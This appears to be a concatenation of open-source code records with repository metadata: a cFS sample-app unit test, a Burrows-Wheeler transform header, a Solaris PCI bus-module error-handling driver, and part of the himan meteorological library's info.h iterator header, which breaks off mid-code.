UT_SetDeferredRetcode(UT_KEY(CFE_SB_RcvMsg), 1, CFE_SB_PIPE_RD_ERR); UT_CheckEvent_Setup(&EventTest, SAMPLE_PIPE_ERR_EID); /* * Invoke again */ SAMPLE_AppMain(); /* * Confirm that the event was generated */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_PIPE_ERR_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_AppInit(void) { /* * Test Case For: * int32 SAMPLE_AppInit( void ) */ /* nominal case should return CFE_SUCCESS */ UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_SUCCESS); /* trigger a failure for each of the sub-calls, * and confirm a write to syslog for each. * Note that this count accumulates, because the status * is _not_ reset between these test cases. */ UT_SetDeferredRetcode(UT_KEY(CFE_EVS_Register), 1, CFE_EVS_INVALID_PARAMETER); UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_EVS_INVALID_PARAMETER); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 1, "CFE_ES_WriteToSysLog() called"); UT_SetDeferredRetcode(UT_KEY(CFE_SB_CreatePipe), 1, CFE_SB_BAD_ARGUMENT); UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_SB_BAD_ARGUMENT); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 2, "CFE_ES_WriteToSysLog() called"); UT_SetDeferredRetcode(UT_KEY(CFE_SB_Subscribe), 1, CFE_SB_BAD_ARGUMENT); UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_SB_BAD_ARGUMENT); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 3, "CFE_ES_WriteToSysLog() called"); UT_SetDeferredRetcode(UT_KEY(CFE_SB_Subscribe), 2, CFE_SB_BAD_ARGUMENT); UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_SB_BAD_ARGUMENT); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 4, "CFE_ES_WriteToSysLog() called"); UT_SetDeferredRetcode(UT_KEY(CFE_TBL_Register), 1, CFE_TBL_ERR_INVALID_OPTIONS); UT_TEST_FUNCTION_RC(SAMPLE_AppInit(), CFE_TBL_ERR_INVALID_OPTIONS); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 5, "CFE_ES_WriteToSysLog() called"); } void Test_SAMPLE_ProcessCommandPacket(void) { /* * Test Case For: * void SAMPLE_ProcessCommandPacket( CFE_SB_MsgPtr_t Msg ) */ /* a buffer large enough for any command message */ union { CFE_SB_Msg_t Base; CCSDS_CommandPacket_t Cmd; SAMPLE_Noop_t Noop; SAMPLE_ResetCounters_t Reset; SAMPLE_Process_t Process; } TestMsg; CFE_SB_MsgId_t TestMsgId; UT_CheckEvent_t EventTest; memset(&TestMsg, 0, sizeof(TestMsg)); UT_CheckEvent_Setup(&EventTest, SAMPLE_INVALID_MSGID_ERR_EID); /* * The CFE_SB_GetMsgId() stub uses a data buffer to hold the * message ID values to return. */ TestMsgId = SAMPLE_APP_CMD_MID; UT_SetDataBuffer(UT_KEY(CFE_SB_GetMsgId), &TestMsgId, sizeof(TestMsgId), false); SAMPLE_ProcessCommandPacket(&TestMsg.Base); TestMsgId = SAMPLE_APP_SEND_HK_MID; UT_SetDataBuffer(UT_KEY(CFE_SB_GetMsgId), &TestMsgId, sizeof(TestMsgId), false); SAMPLE_ProcessCommandPacket(&TestMsg.Base); /* invalid message id */ TestMsgId = 0; UT_SetDataBuffer(UT_KEY(CFE_SB_GetMsgId), &TestMsgId, sizeof(TestMsgId), false); SAMPLE_ProcessCommandPacket(&TestMsg.Base); /* * Confirm that the event was generated only _once_ */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_COMMAND_ERR_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_ProcessGroundCommand(void) { /* * Test Case For: * void SAMPLE_ProcessGroundCommand( CFE_SB_MsgPtr_t Msg ) */ /* a buffer large enough for any command message */ union { CFE_SB_Msg_t Base; CCSDS_CommandPacket_t Cmd; SAMPLE_Noop_t Noop; SAMPLE_ResetCounters_t Reset; SAMPLE_Process_t Process; } TestMsg; UT_CheckEvent_t EventTest; memset(&TestMsg, 0, sizeof(TestMsg)); /* * call with each of the supported command codes * The CFE_SB_GetCmdCode stub allows the code to be * set to whatever is needed. There is no return * value here and the actual implementation of these * commands have separate test cases, so this just * needs to exercise the "switch" statement. */ /* test dispatch of NOOP */ UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetCmdCode), 1, SAMPLE_APP_NOOP_CC); UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetTotalMsgLength), 1, sizeof(TestMsg.Noop)); UT_CheckEvent_Setup(&EventTest, SAMPLE_COMMANDNOP_INF_EID); SAMPLE_ProcessGroundCommand(&TestMsg.Base); /* test dispatch of RESET */ UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetCmdCode), 1, SAMPLE_APP_RESET_COUNTERS_CC); UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetTotalMsgLength), 1, sizeof(TestMsg.Reset)); UT_CheckEvent_Setup(&EventTest, SAMPLE_COMMANDRST_INF_EID); SAMPLE_ProcessGroundCommand(&TestMsg.Base); /* test dispatch of PROCESS */ /* note this will end up calling SAMPLE_Process(), and as such it needs to * avoid dereferencing a table which does not exist. */ UT_SetForceFail(UT_KEY(CFE_TBL_GetAddress), CFE_TBL_ERR_UNREGISTERED); UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetCmdCode), 1, SAMPLE_APP_PROCESS_CC); UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetTotalMsgLength), 1, sizeof(TestMsg.Process)); SAMPLE_ProcessGroundCommand(&TestMsg.Base); /* test an invalid CC */ UT_CheckEvent_Setup(&EventTest, SAMPLE_COMMAND_ERR_EID); UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetCmdCode), 1, 1000); SAMPLE_ProcessGroundCommand(&TestMsg.Base); /* * Confirm that the event was generated only _once_ */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_COMMAND_ERR_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_ReportHousekeeping(void) { /* * Test Case For: * void SAMPLE_ReportHousekeeping( const CCSDS_CommandPacket_t *Msg ) */ CCSDS_CommandPacket_t CmdMsg; SAMPLE_HkTlm_t HkTelemetryMsg; memset(&CmdMsg, 0, sizeof(CmdMsg)); memset(&HkTelemetryMsg, 0, sizeof(HkTelemetryMsg)); /* * Force CmdCounter and ErrCounter to known values */ SAMPLE_AppData.CmdCounter = 22; SAMPLE_AppData.ErrCounter = 11; /* * Set up to "capture" the telemetry message */ UT_SetDataBuffer(UT_KEY(CFE_SB_SendMsg), &HkTelemetryMsg, sizeof(HkTelemetryMsg), false); SAMPLE_ReportHousekeeping(&CmdMsg); /* * check that the known values got into the telemetry correctly */ UtAssert_True(HkTelemetryMsg.Payload.CommandCounter == 22, "HkTelemetryMsg.Payload.CommandCounter (%u) == 22", (unsigned int)HkTelemetryMsg.Payload.CommandCounter); UtAssert_True(HkTelemetryMsg.Payload.CommandErrorCounter == 11, "HkTelemetryMsg.Payload.CommandErrorCounter (%u) == 11", (unsigned int)HkTelemetryMsg.Payload.CommandErrorCounter); /* * Confirm that the CFE_TBL_Manage() call was done */ UtAssert_True(UT_GetStubCount(UT_KEY(CFE_TBL_Manage)) == 1, "CFE_TBL_Manage() called"); } void Test_SAMPLE_NoopCmd(void) { /* * Test Case For: * void SAMPLE_NoopCmd( const SAMPLE_Noop_t *Msg ) */ SAMPLE_Noop_t TestMsg; UT_CheckEvent_t EventTest; memset(&TestMsg, 0, sizeof(TestMsg)); /* test dispatch of NOOP */ UT_CheckEvent_Setup(&EventTest, SAMPLE_COMMANDNOP_INF_EID); UT_TEST_FUNCTION_RC(SAMPLE_Noop(&TestMsg), CFE_SUCCESS); /* * Confirm that the event was generated */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_COMMANDNOP_INF_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_ResetCounters(void) { /* * Test Case For: * void SAMPLE_ResetCounters( const SAMPLE_ResetCounters_t *Msg ) */ SAMPLE_ResetCounters_t TestMsg; UT_CheckEvent_t EventTest; memset(&TestMsg, 0, sizeof(TestMsg)); UT_CheckEvent_Setup(&EventTest, SAMPLE_COMMANDRST_INF_EID); UT_TEST_FUNCTION_RC(SAMPLE_ResetCounters(&TestMsg), CFE_SUCCESS); /* * Confirm that the event was generated */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_COMMANDRST_INF_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_ProcessCC(void) { /* * Test Case For: * void SAMPLE_ProcessCC( const SAMPLE_Process_t *Msg ) */ SAMPLE_Process_t TestMsg; SAMPLE_Table_t TestTblData; void *TblPtr = &TestTblData; memset(&TestTblData, 0, sizeof(TestTblData)); memset(&TestMsg, 0, sizeof(TestMsg)); /* Provide some table data for the SAMPLE_Process() function to use */ TestTblData.Int1 = 40; TestTblData.Int2 = 50; UT_SetDataBuffer(UT_KEY(CFE_TBL_GetAddress), &TblPtr, sizeof(TblPtr), false); UT_TEST_FUNCTION_RC(SAMPLE_Process(&TestMsg), CFE_SUCCESS); /* * Confirm that the CFE_TBL_GetAddress() call was done */ UtAssert_True(UT_GetStubCount(UT_KEY(CFE_TBL_GetAddress)) == 1, "CFE_TBL_GetAddress() called"); /* * Confirm that the SAMPLE_Function() call was done * NOTE: This stub is provided by the sample_lib library */ UtAssert_True(UT_GetStubCount(UT_KEY(SAMPLE_Function)) == 1, "SAMPLE_Function() called"); /* * Configure the CFE_TBL_GetAddress function to return an error * Exercise the error return path */ UT_SetForceFail(UT_KEY(CFE_TBL_GetAddress), CFE_TBL_ERR_UNREGISTERED); UT_TEST_FUNCTION_RC(SAMPLE_Process(&TestMsg), CFE_TBL_ERR_UNREGISTERED); } void Test_SAMPLE_VerifyCmdLength(void) { /* * Test Case For: * bool SAMPLE_VerifyCmdLength( CFE_SB_MsgPtr_t Msg, uint16 ExpectedLength ) */ CFE_SB_Msg_t TestMsg; UT_CheckEvent_t EventTest; memset(&TestMsg, 0, sizeof(TestMsg)); /* * test a match case */ UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetTotalMsgLength), 1, sizeof(TestMsg)); UT_CheckEvent_Setup(&EventTest, SAMPLE_LEN_ERR_EID); SAMPLE_VerifyCmdLength(&TestMsg, sizeof(TestMsg)); /* * Confirm that the event was NOT generated */ UtAssert_True(EventTest.MatchCount == 0, "SAMPLE_LEN_ERR_EID NOT generated (%u)", (unsigned int)EventTest.MatchCount); /* * test a mismatch case */ UT_SetDeferredRetcode(UT_KEY(CFE_SB_GetTotalMsgLength), 1, 10 + sizeof(TestMsg)); SAMPLE_VerifyCmdLength(&TestMsg, sizeof(TestMsg)); /* * Confirm that the event WAS generated */ UtAssert_True(EventTest.MatchCount == 1, "SAMPLE_LEN_ERR_EID generated (%u)", (unsigned int)EventTest.MatchCount); } void Test_SAMPLE_TblValidationFunc(void) { /* * Test Case For: * int32 SAMPLE_TblValidationFunc( void *TblData ) */ SAMPLE_Table_t TestTblData; memset(&TestTblData, 0, sizeof(TestTblData)); /* nominal case (0) should succeed */ UT_TEST_FUNCTION_RC(SAMPLE_TblValidationFunc(&TestTblData), CFE_SUCCESS); /* error case should return SAMPLE_TABLE_OUT_OF_RANGE_ERR_CODE */ TestTblData.Int1 = 1 + SAMPLE_TBL_ELEMENT_1_MAX; UT_TEST_FUNCTION_RC(SAMPLE_TblValidationFunc(&TestTblData), SAMPLE_TABLE_OUT_OF_RANGE_ERR_CODE); } void Test_SAMPLE_GetCrc(void) { /* * Test Case For: * void SAMPLE_GetCrc( const char *TableName ) */ /* * The only branch point here is CFE_TBL_GetInfo() * * Either way this function just does a write to syslog, * and it is the same in both cases, just with * a different message. This could actually verify * the message using a hook function, if desired. */ UT_SetForceFail(UT_KEY(CFE_TBL_GetInfo), CFE_TBL_ERR_INVALID_NAME); SAMPLE_GetCrc("UT"); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 1, "CFE_ES_WriteToSysLog() called"); UT_ClearForceFail(UT_KEY(CFE_TBL_GetInfo)); SAMPLE_GetCrc("UT"); UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_WriteToSysLog)) == 2, "CFE_ES_WriteToSysLog() called"); } /* * Setup function prior to every test */ void Sample_UT_Setup(void) { UT_ResetState(0); } /* * Teardown function after every test */ void Sample_UT_TearDown(void) { } /* * Register the test cases to execute with the unit test tool */ void UtTest_Setup(void) { ADD_TEST(SAMPLE_AppMain); ADD_TEST(SAMPLE_AppInit); ADD_TEST(SAMPLE_ProcessCommandPacket); ADD_TEST(SAMPLE_ProcessGroundCommand); ADD_TEST(SAMPLE_ReportHousekeeping); ADD_TEST(SAMPLE_NoopCmd); ADD_TEST(SAMPLE_ResetCounters); ADD_TEST(SAMPLE_ProcessCC); ADD_TEST(SAMPLE_VerifyCmdLength); ADD_TEST(SAMPLE_TblValidationFunc); ADD_TEST(SAMPLE_GetCrc); }
29.5712
88
0.683205
b7b81747c8dd47966fe0ea6d3ef40815cccf611a
477
h
C
bwt.h
cifkao/bis
2918044e836afbace77e11f9e1a5ffccf94974b2
[ "MIT" ]
null
null
null
bwt.h
cifkao/bis
2918044e836afbace77e11f9e1a5ffccf94974b2
[ "MIT" ]
null
null
null
bwt.h
cifkao/bis
2918044e836afbace77e11f9e1a5ffccf94974b2
[ "MIT" ]
null
null
null
#ifndef BWT_H #define BWT_H #include "util.h" /* Apply the Burrows-Wheeler transform to the data, writing the result * to the output array. The length of the output array must be length+1. */ void bwt(symbol *data, symbol *output, size_t length); /* Apply the inverse Burrows-Wheeler transform to the data, writing the * result to the output array. The length of the output array shall be * length-1. */ void unbwt(symbol *data, symbol *output, size_t length); #endif
26.5
72
0.735849
2e857604e3802c36c73049780add47fdc7474e43
7,968
c
C
usr/src/uts/sun4u/opl/io/pcicmu/pcmu_pbm.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/uts/sun4u/opl/io/pcicmu/pcmu_pbm.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/uts/sun4u/opl/io/pcicmu/pcmu_pbm.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
1
2020-12-30T00:04:16.000Z
2020-12-30T00:04:16.000Z
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright 2006 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ #pragma ident "%Z%%M% %I% %E% SMI" /* * CMU-CH PBM implementation: * initialization * Bus error interrupt handler */ #include <sys/types.h> #include <sys/kmem.h> #include <sys/spl.h> #include <sys/sysmacros.h> #include <sys/sunddi.h> #include <sys/fm/protocol.h> #include <sys/fm/util.h> #include <sys/machsystm.h> #include <sys/async.h> #include <sys/ddi_impldefs.h> #include <sys/ontrap.h> #include <sys/pcicmu/pcicmu.h> #include <sys/membar.h> #include <sys/ivintr.h> static uint_t pcmu_pbm_error_intr(caddr_t a); /* The nexus interrupt priority values */ int pcmu_pil[] = {14, 14, 14, 14, 14, 14}; void pcmu_pbm_create(pcmu_t *pcmu_p) { pcmu_pbm_t *pcbm_p; int len; dev_info_t *dip = pcmu_p->pcmu_dip; /* * Allocate a state structure for the PBM and cross-link it * to its per pci node state structure. */ pcbm_p = (pcmu_pbm_t *)kmem_zalloc(sizeof (pcmu_pbm_t), KM_SLEEP); pcmu_p->pcmu_pcbm_p = pcbm_p; pcbm_p->pcbm_pcmu_p = pcmu_p; len = snprintf(pcbm_p->pcbm_nameinst_str, sizeof (pcbm_p->pcbm_nameinst_str), "%s%d", NAMEINST(dip)); pcbm_p->pcbm_nameaddr_str = pcbm_p->pcbm_nameinst_str + ++len; (void) snprintf(pcbm_p->pcbm_nameaddr_str, sizeof (pcbm_p->pcbm_nameinst_str) - len, "%s@%s", NAMEADDR(dip)); pcmu_pbm_setup(pcbm_p); PCMU_DBG4(PCMU_DBG_ATTACH, dip, "pcmu_pbm_create: ctrl=%x, afsr=%x, afar=%x, diag=%x\n", pcbm_p->pcbm_ctrl_reg, pcbm_p->pcbm_async_flt_status_reg, pcbm_p->pcbm_async_flt_addr_reg, pcbm_p->pcbm_diag_reg); PCMU_DBG1(PCMU_DBG_ATTACH, dip, "pcmu_pbm_create: conf=%x\n", pcbm_p->pcbm_config_header); /* * Register a function to disable pbm error interrupts during a panic. */ bus_func_register(BF_TYPE_ERRDIS, (busfunc_t)pcmu_pbm_disable_errors, pcbm_p); /* * create the interrupt-priorities property if it doesn't * already exist to provide a hint as to the PIL level for * our interrupt. */ if (ddi_getproplen(DDI_DEV_T_ANY, dip, DDI_PROP_DONTPASS, "interrupt-priorities", &len) != DDI_PROP_SUCCESS) { /* Create the interrupt-priorities property. */ (void) ddi_prop_create(DDI_DEV_T_NONE, dip, DDI_PROP_CANSLEEP, "interrupt-priorities", (caddr_t)pcmu_pil, sizeof (pcmu_pil)); } pcmu_pbm_configure(pcbm_p); } int pcmu_pbm_register_intr(pcmu_pbm_t *pcbm_p) { pcmu_t *pcmu_p = pcbm_p->pcbm_pcmu_p; uint32_t mondo; int r = DDI_SUCCESS; pcmu_ib_nintr_clear(pcmu_p->pcmu_ib_p, pcmu_p->pcmu_inos[CBNINTR_PBM]); /* * Install the PCI error interrupt handler. */ mondo = PCMU_IB_INO_TO_MONDO(pcmu_p->pcmu_ib_p, pcmu_p->pcmu_inos[CBNINTR_PBM]); VERIFY(add_ivintr(mondo, pcmu_pil[CBNINTR_PBM], (intrfunc)pcmu_pbm_error_intr, (caddr_t)pcmu_p, NULL, NULL) == 0); pcbm_p->pcbm_iblock_cookie = (void *)(uintptr_t)pcmu_pil[CBNINTR_PBM]; /* * Create the pokefault mutex at the PIL below the error interrupt. */ mutex_init(&pcbm_p->pcbm_pokeflt_mutex, NULL, MUTEX_DRIVER, (void *)(uintptr_t)ipltospl(spltoipl( (int)(uintptr_t)pcbm_p->pcbm_iblock_cookie) - 1)); return (PCMU_ATTACH_RETCODE(PCMU_PBM_OBJ, PCMU_OBJ_INTR_ADD, r)); } void pcmu_pbm_destroy(pcmu_t *pcmu_p) { pcmu_pbm_t *pcbm_p = pcmu_p->pcmu_pcbm_p; pcmu_ib_t *pib_p = pcmu_p->pcmu_ib_p; uint32_t mondo; PCMU_DBG0(PCMU_DBG_DETACH, pcmu_p->pcmu_dip, "pcmu_pbm_destroy:\n"); mondo = PCMU_IB_INO_TO_MONDO(pcmu_p->pcmu_ib_p, pcmu_p->pcmu_inos[CBNINTR_PBM]); /* * Free the pokefault mutex. */ mutex_destroy(&pcbm_p->pcbm_pokeflt_mutex); /* * Remove the error interrupt. */ intr_dist_rem(pcmu_pbm_intr_dist, pcbm_p); pcmu_ib_intr_disable(pib_p, pcmu_p->pcmu_inos[CBNINTR_PBM], PCMU_IB_INTR_WAIT); VERIFY(rem_ivintr(mondo, pcmu_pil[CBNINTR_PBM]) == 0); /* * Remove the error disable function. */ bus_func_unregister(BF_TYPE_ERRDIS, (busfunc_t)pcmu_pbm_disable_errors, pcbm_p); pcmu_pbm_teardown(pcbm_p); /* * Free the pbm state structure. */ kmem_free(pcbm_p, sizeof (pcmu_pbm_t)); pcmu_p->pcmu_pcbm_p = NULL; } static uint_t pcmu_pbm_error_intr(caddr_t a) { pcmu_t *pcmu_p = (pcmu_t *)a; pcmu_pbm_t *pcbm_p = pcmu_p->pcmu_pcbm_p; ddi_fm_error_t derr; int err = DDI_FM_OK; on_trap_data_t *otp = pcbm_p->pcbm_ontrap_data; bzero(&derr, sizeof (ddi_fm_error_t)); derr.fme_version = DDI_FME_VERSION; mutex_enter(&pcmu_p->pcmu_err_mutex); if ((otp != NULL) && (otp->ot_prot & OT_DATA_ACCESS)) { /* * ddi_poke protection, check nexus and children for * expected errors. */ otp->ot_trap |= OT_DATA_ACCESS; membar_sync(); derr.fme_flag = DDI_FM_ERR_POKE; err = pcmu_pbm_err_handler(pcmu_p->pcmu_dip, &derr, (void *)pcmu_p, PCI_INTR_CALL); } else if (pcmu_check_error(pcmu_p) != 0) { /* * unprotected error, check for all errors. */ if (pcmu_errtrig_pa) { (void) ldphysio(pcmu_errtrig_pa); } derr.fme_flag = DDI_FM_ERR_UNEXPECTED; err = pcmu_pbm_err_handler(pcmu_p->pcmu_dip, &derr, (void *)pcmu_p, PCI_INTR_CALL); } if (err == DDI_FM_FATAL) { if (pcmu_panic_on_fatal_errors) { mutex_exit(&pcmu_p->pcmu_err_mutex); cmn_err(CE_PANIC, "%s-%d: Fatal PCI bus error(s)\n", ddi_driver_name(pcmu_p->pcmu_dip), ddi_get_instance(pcmu_p->pcmu_dip)); } } mutex_exit(&pcmu_p->pcmu_err_mutex); pcmu_ib_nintr_clear(pcmu_p->pcmu_ib_p, pcmu_p->pcmu_inos[CBNINTR_PBM]); return (DDI_INTR_CLAIMED); } void pcmu_pbm_suspend(pcmu_pbm_t *pcbm_p) { pcmu_t *pcmu_p = pcbm_p->pcbm_pcmu_p; pcmu_ib_ino_t ino = pcmu_p->pcmu_inos[CBNINTR_PBM]; pcbm_p->pcbm_imr_save = *ib_intr_map_reg_addr(pcmu_p->pcmu_ib_p, ino); } void pcmu_pbm_resume(pcmu_pbm_t *pcbm_p) { pcmu_t *pcmu_p = pcbm_p->pcbm_pcmu_p; pcmu_ib_ino_t ino = pcmu_p->pcmu_inos[CBNINTR_PBM]; pcmu_ib_nintr_clear(pcmu_p->pcmu_ib_p, ino); *ib_intr_map_reg_addr(pcmu_p->pcmu_ib_p, ino) = pcbm_p->pcbm_imr_save; } void pcmu_pbm_intr_dist(void *arg) { pcmu_pbm_t *pcbm_p = (pcmu_pbm_t *)arg; pcmu_t *pcmu_p = pcbm_p->pcbm_pcmu_p; pcmu_ib_t *pib_p = pcmu_p->pcmu_ib_p; pcmu_ib_ino_t ino = PCMU_IB_MONDO_TO_INO(pcmu_p->pcmu_inos[CBNINTR_PBM]); mutex_enter(&pib_p->pib_intr_lock); pcmu_ib_intr_dist_nintr(pib_p, ino, ib_intr_map_reg_addr(pib_p, ino)); mutex_exit(&pib_p->pib_intr_lock); } /* * Function used to log PBM AFSR register bits and to lookup and fault * handle associated with PBM AFAR register. Called by * pcmu_pbm_err_handler with pcmu_err_mutex held. */ int pcmu_pbm_afsr_report(dev_info_t *dip, uint64_t fme_ena, pcmu_pbm_errstate_t *pbm_err_p) { int fatal = 0; /* LINTED variable */ pcmu_t *pcmu_p = get_pcmu_soft_state(ddi_get_instance(dip)); ASSERT(MUTEX_HELD(&pcmu_p->pcmu_err_mutex)); pbm_err_p->pcbm_pri = PBM_PRIMARY; (void) pcmu_pbm_classify(pbm_err_p); /* * We are currently not dealing with the multiple error * case, for any secondary errors we will panic. */ pbm_err_p->pcbm_pri = PBM_SECONDARY; if (pcmu_pbm_classify(pbm_err_p)) { fatal++; pcmu_pbm_ereport_post(dip, fme_ena, pbm_err_p); } if (fatal) { return (DDI_FM_FATAL); } return (DDI_FM_NONFATAL); }
27.475862
72
0.728414
2ee4ff08d74e515b3a6487ed40ef6a08a24368ea
18,259
h
C
himan-lib/include/info.h
fmidev/himan
481e0cf9a3d15c900e07d08cf7e22de1c50a6823
[ "MIT" ]
18
2017-04-20T18:51:41.000Z
2022-03-23T21:12:49.000Z
himan-lib/include/info.h
fmidev/himan
481e0cf9a3d15c900e07d08cf7e22de1c50a6823
[ "MIT" ]
5
2018-07-05T02:15:56.000Z
2021-06-01T09:36:51.000Z
himan-lib/include/info.h
fmidev/himan
481e0cf9a3d15c900e07d08cf7e22de1c50a6823
[ "MIT" ]
2
2020-02-18T06:32:53.000Z
2021-03-29T15:17:09.000Z
/** * @file info.h * * @brief Define metadata structures requred to calculate and store data * */ #ifndef INFO_H #define INFO_H #include "forecast_time.h" #include "forecast_type.h" #include "grid.h" #include "himan_common.h" #include "lambert_conformal_grid.h" #include "latitude_longitude_grid.h" #include "level.h" #include "matrix.h" #include "packed_data.h" #include "param.h" #include "point_list.h" #include "producer.h" #include "raw_time.h" #include "serialization.h" #include "station.h" #include "stereographic_grid.h" #include <limits> // for std::numeric_limits<size_t>::max(); #include <vector> #define VEC(I) I->Data().Values() namespace himan { namespace plugin { class compiled_plugin_base; } /** * @class iterator * * @brief Nested class inside info to provide iterator functions to info class * */ const size_t kIteratorResetValue = std::numeric_limits<size_t>::max(); template <class U> class iterator { public: iterator<U>() : itsIndex(kIteratorResetValue) { } explicit iterator<U>(const std::vector<U>& theElements) : itsElements(theElements) { Reset(); } explicit iterator(const iterator& other) : itsElements(other.itsElements), itsIndex(other.itsIndex) { } iterator& operator=(const iterator& other) { itsElements = other.itsElements; itsIndex = other.itsIndex; return *this; } std::string ClassName() const { return "himan::iterator"; } /** * @brief Reset iterator * * Reset iterator by setting index value to max size_t (which equals to max unsigned int) * * @return void * */ void Reset() { itsIndex = kIteratorResetValue; } /** * @brief Set iterator to first element * * @return boolean if iterator has at least one element, else false * */ bool First() { Reset(); return Next(); } /** * @brief Set iterator to first element * * @return boolean if iterator has at least one element, else false * */ bool Last() { Reset(); return Previous(); } /** * @brief Retreat iterator by one * * @return boolean if iterator has more elements left, else false * */ bool Previous() { if (itsElements.size() == 0) { return false; } if (itsIndex == kIteratorResetValue) { itsIndex = itsElements.size() == 0 ? 0 : itsElements.size() - 1; // Reset() has been called before this function } else if (itsIndex == 0) { // already at first element return false; } else { itsIndex--; } return true; } /** * @brief Advance iterator by one * * @return boolean if iterator has more elements left, else false * */ bool Next() { if (itsElements.size() == 0) { return false; } if (itsIndex == kIteratorResetValue) { itsIndex = 0; // Reset() has been called before this function } else if (itsIndex >= (itsElements.size() - 1)) { // already at last element return false; } else { itsIndex++; } return true; } /** * @return Reference to current value or throw exception */ U& At() { if (itsIndex != kIteratorResetValue && itsIndex < itsElements.size()) { return itsElements[itsIndex]; } std::cerr << ClassName() + ": Invalid index value: " + std::to_string(itsIndex) << std::endl; himan::Abort(); } const U& At() const { if (itsIndex != kIteratorResetValue && itsIndex < itsElements.size()) { return itsElements[itsIndex]; } std::cerr << ClassName() + ": Invalid index value: " + std::to_string(itsIndex) << std::endl; himan::Abort(); } /** * @return Reference to value requested or throw exception */ const U& At(size_t theIndex) const { if (theIndex < itsElements.size()) { return itsElements[theIndex]; } std::cerr << ClassName() + ": Invalid index value: " + std::to_string(itsIndex) << std::endl; himan::Abort(); } /** * @brief Set iterator to the position indicated by the function argument * * @return True if value exists, else false * */ bool Set(const U& theElement) { for (size_t i = 0; i < itsElements.size(); i++) { if (itsElements[i] == theElement) { Set(i); return true; } } return false; } /** * @brief Set iterator to the position indicated by the function argument. No limit-checking is made. * * @return void * * @todo Should return bool like Set(const T theElement) ? */ void Index(size_t theIndex) { itsIndex = theIndex; } // DEPRECATED void Set(size_t theIndex) { itsIndex = theIndex; } /** * @brief Replace the value at current iterator position with a new value * */ void Replace(const U& theNewValue) { itsElements.at(itsIndex) = theNewValue; } /** * @return Current index value */ size_t Index() const { return itsIndex; } /** * @return Iterator size */ size_t Size() const { return itsElements.size(); } friend std::ostream& operator<<(std::ostream& file, const iterator<U>& ob) { return ob.Write(file); } /** * @brief Add element to iterator * * NOTE: This function DOES NOT change the size of itsDimensions! That * needs to be done separately! * * @param newElement Element to be added * @param strict Define whether to allow duplicate values (false = allow) * @return True if adding was successful */ bool Add(const U& newElement, bool strict = true) { if (strict) { size_t tempIndex = itsIndex; if (Set(newElement)) { itsIndex = tempIndex; return false; } itsIndex = tempIndex; } itsElements.push_back(newElement); return true; } /** * @brief Remove all elements (iterator size = 0) */ void Clear() { itsElements.clear(); } std::vector<U> Values() const { return itsElements; } /** * @brief Write object to stream */ std::ostream& Write(std::ostream& file) const { file << "<" << ClassName() << ">" << std::endl; file << "__itsIndex__ " << itsIndex << std::endl; file << "__itsSize__ " << itsElements.size() << std::endl; for (size_t i = 0; i < itsElements.size(); i++) { file << itsElements[i]; } return file; } private: std::vector<U> itsElements; //<! Vector to hold the elements size_t itsIndex; //<! Current index of iterator #ifdef SERIALIZATION friend class cereal::access; template <class Archive> void serialize(Archive& ar) { ar(CEREAL_NVP(itsElements), CEREAL_NVP(itsIndex)); } #endif }; class forecast_time; class param; class level; class logger; class forecast_type; typedef iterator<level> level_iter; typedef iterator<param> param_iter; typedef iterator<forecast_time> time_iter; typedef iterator<producer> producer_iter; typedef iterator<forecast_type> forecast_type_iter; template <typename U> struct type2type { typedef U type; }; template <typename T> struct base { std::shared_ptr<himan::grid> grid; matrix<T> data; std::shared_ptr<packed_data> pdata; base() : grid(), data(0, 0, 1, MissingValue<T>()), pdata(std::make_shared<packed_data>()) { } base(std::shared_ptr<himan::grid> grid_, const matrix<T>& data_) : grid(grid_), data(data_), pdata(std::make_shared<packed_data>()) { } #ifdef SERIALIZATION friend class cereal::access; template <class Archive> void serialize(Archive& ar) { // packed data is not serialized as it contains raw pointers 